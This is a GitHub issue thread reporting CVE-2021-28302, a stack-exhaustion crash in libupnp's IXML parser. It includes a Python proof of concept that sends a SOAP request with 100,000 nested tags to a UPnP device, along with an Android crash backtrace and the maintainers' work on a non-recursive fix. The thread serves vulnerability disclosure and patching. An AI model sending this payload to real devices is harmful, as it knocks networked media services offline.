

New issue

[Jump to bottom](#)

Too many nested tags will lead to stack space exhaustion, resulting in signal 11 (SIGSEGV) #249

[Open](#) xzjpgithub opened this issue on Mar 11, 2021 · 15 comments

xzjpgithub commented on Mar 11, 2021 • edited by mijimenez ▾

hi, this poc caused a crash.

When parsing xml, if there if too many "" in it, that causes a crash.

The problem is in the function Parser_parseDocument() , After parses all < a >, it can't find the closed node, and finally enters the errorhandler. When using xmlDocDocument_free(), When releases gRootDoc, xmlDocNode_free() will release the child node recursively, which will consume stack space. If the recursive depth is not limited, it will cause crash. POC and crash are below.

I suggest adding an interface that limits the depth of recursion.

the stack size of my device

```
$ulimit -s
```

```
8192
```

poc:

```
import socket

MS2 = """<?xml version="1.0" encoding="utf-8" standalone="no"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body>
    <u:GetVolume xmlns:u="urn:schemas-upnp-org:service:RenderingControl:1">
      <InstanceID></InstanceID>
      <Channel>Master</Channel>
    </u:GetVolume>
  </s:Body>
  <Anomaly>"" + "<a>"*100000 + ""</Anomaly>" + "" + ""
</s:Envelope>""
```

```
MS1 = """POST /upnp/service/RenderingControl/Control HTTP/1.1\r\nHOST: 192.168.1.44:50000
Content-Length: "" + str(len(MS2)) + ""
Content-type: text/xml; charset="utf-8"
SOAPACTION: "urn:schemas-upnp-org:service:RenderingControl:1#GetVolume"
USER-AGENT: Linux/4.14.150_s5, UPnP/1.0, Portable SDK for UPnP devices/1.12.0
CONNECTION: close

""
```

```
address = ("192.168.1.4", 49153)
skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
skt.connect(address)
```

```
skt.send(MS1.encode() + MS2.encode())
d = skt.recv(999)
print(d.decode())
```

android crash

tombstone:

```
*** ***
Build fingerprint: 'xxx/xxx-111/xxx-111:10/xxx-111/2.0.1.73cust format error:.user/release-keys'
Revision: '0'
ABI: 'arm'
Timestamp: 2021-01-07 07:35:02+0800
pid: 16370, tid: 16813, name: Thread-4 >>> com.xxx.dlna.dmr <<<
uid: 1000
signal 11 (SIGSEGV), code 2 (SEGV_ACCERR), fault addr 0xbdb380ff8
r0 b3627778 r1 8721bf1f r2 eca72108 r3 0000001a
r4 b3627740 r5 0000000c r6 00000000 r7 0000003c
r8 dbf2344c r9 dbf23440 r10 0000006a r11 dbf23444
ip c065e134 sp bdb38100 lr c0658731 pc c0658720
```

backtrace:

```
00 pc 00003720 /system/lib/libxml.so (ixmlNode_free+6) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
01 pc 0000372d /system/lib/libxml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
02 pc 0000372d /system/lib/libxml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
03 pc 0000372d /system/lib/libxml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
04 pc 0000372d /system/lib/libxml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
05 pc 0000372d /system/lib/libxml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
06 pc 0000372d /system/lib/libxml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
07 pc 0000372d /system/lib/libxml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
08 pc 0000372d /system/lib/libxml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
09 pc 0000372d /system/lib/libxml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
10 pc 0000372d /system/lib/libxml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
11 pc 0000372d /system/lib/libxml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
12 pc 0000372d /system/lib/libxml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
13 pc 0000372d /system/lib/libxml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
14 pc 0000372d /system/lib/libxml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
15 pc 0000372d /system/lib/libxml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
16 pc 0000372d /system/lib/libxml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
17 pc 0000372d /system/lib/libxml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
18 pc 0000372d /system/lib/libxml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
19 pc 0000372d /system/lib/libxml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
20 pc 0000372d /system/lib/libxml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
21 pc 0000372d /system/lib/libxml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
22 pc 0000372d /system/lib/libxml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
23 pc 0000372d /system/lib/libxml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
24 pc 0000372d /system/lib/libxml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
25 pc 0000372d /system/lib/libxml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
26 pc 0000372d /system/lib/libxml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
27 pc 0000372d /system/lib/libxml.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
```

[illegible]

[illegible]

```
254 pc 0000372d /system/lib/libxml1.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
255 pc 0000372d /system/lib/libxml1.so (ixmlNode_free+18) (BuildId: f77e127d13ec2d5e6115a01dc922840b)
```

xzjggithub commented on Mar 11, 2021

Author

I only tested it on version 1.12.1, however, the `ixmlNode_free()` in 1.12.1 and the `ixmlNode_free()` in the latest version remain unchanged.

carnil commented on Mar 12, 2021

[CVE-2021-28302](#) appears to have been assigned to this issue.

mrjimenez commented on Mar 12, 2021

Collaborator

Hi @xzjggithub

Looks serious indeed.

IXML has been around for quite a while, as this report suggests, the code is not very secure.

A proper fix should either detect that the has not been closed before and reject the DOM.

I think we have discussed this issue before, but maybe it is time to return to it. Shouldn't we replace IXML? Personally I am not a fan of this code. It is a separate library inside libupnp. Parsers are tricky, and even more are the recursive implementations of them. Does anyone know a nice substitute?

As always, patches are welcome.

xzjggithub commented on Mar 14, 2021

Author

hi, may be you can try tinyxml2, <https://github.com/leethomason/tinyxml2>

mrjimenez commented on Mar 14, 2021

Collaborator

hi, may be you can try tinyxml2, <https://github.com/leethomason/tinyxml2>

Looks very nice, indeed, just two files and we're done! But it is C++ and libupnp is C. We could start requiring C++ and compile the whole project with it, but I am not quite sure if the embedded world would happily agree with that.

  mrjimenez mentioned this issue on Mar 15, 2021

Using classes and objects in the library code #248

 Closed

leo-lb commented on Apr 2, 2021

Hello!

We are looking forward to patching this issue in GNU Guix, any update about this?

Thanks,

Léo

mrjimenez commented on Apr 2, 2021 • edited

Collaborator

Still not, but we have not forgotten.

It turns out that Tinyxml2 does not support XML namespaces, and we need it.

So we will need a quick fix to the issue instead of putting Tinyxml2 inside.

leo-lb commented on Apr 2, 2021

@mrjimenez I see thank you, no rush, I'll receive a notification from here when there is progress, thank you :-)

 1

mrjimenez commented on Apr 2, 2021

Collaborator

I have just tried it on my desktop, the server does not crash.

Maybe it is a problem with the size of the document. What should we do? Seems like we can't blindly read the XML. Or else we get subject to this kind of attack

mrjimenez commented on Apr 4, 2021

Collaborator

Hi folks,

To make it more crash prone, I did

```
<Anomaly>"" + "<a>"*10000000 + ""</Anomaly>" + ""
```

And the server did not crash.

Anyway, @xzjpgithub , I did an implementation of a non-recursive `ixmlNode_free()` here [#306](#) , which unfortunately is still leaking memory, but is a start. Could you try with this version and see if the server still crashes?

If anyone would like to give me some help there revising the code, I would appreciate.

mrjimenez commented on Apr 5, 2021

Collaborator

Hi @xzjpgithub and @leo-lb ,

The leak has been resolved and the new `ixmlDocument_free()` has been committed. Since I have never been able to reproduce the crash, and since this new version of the function is non-recursive, I would like a test feedback from you to close this issue and [CVE-2021-28302](#).

Regards,
Marcelo.

xzjpgithub commented on Apr 5, 2021

Author

oh, sorry for long time no responding. The more small size of the stack, the more the payload cause to a crash. May be it's easily to reproduce the crash if you use "ulimit -s 1024"(default value is 8192(KB))

mrjimenez commented on Apr 5, 2021

Collaborator

Ok, good suggestion. But could you test with the latest version of the library? The function `ixmlNode_free()` is no longer recursive, so we would like to make sure that the problem is gone under your test conditions.

xzjpgithub commented on Apr 6, 2021

Author

I had told my colleagues to upgrade it to the latest version and they will test it after upgrading. If there are any results, I'll feedback immediately. It could be two days or even more.



Vollstrecker commented on Jan 6

Member

@xzjpgithub: What's up with that?

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

5 participants

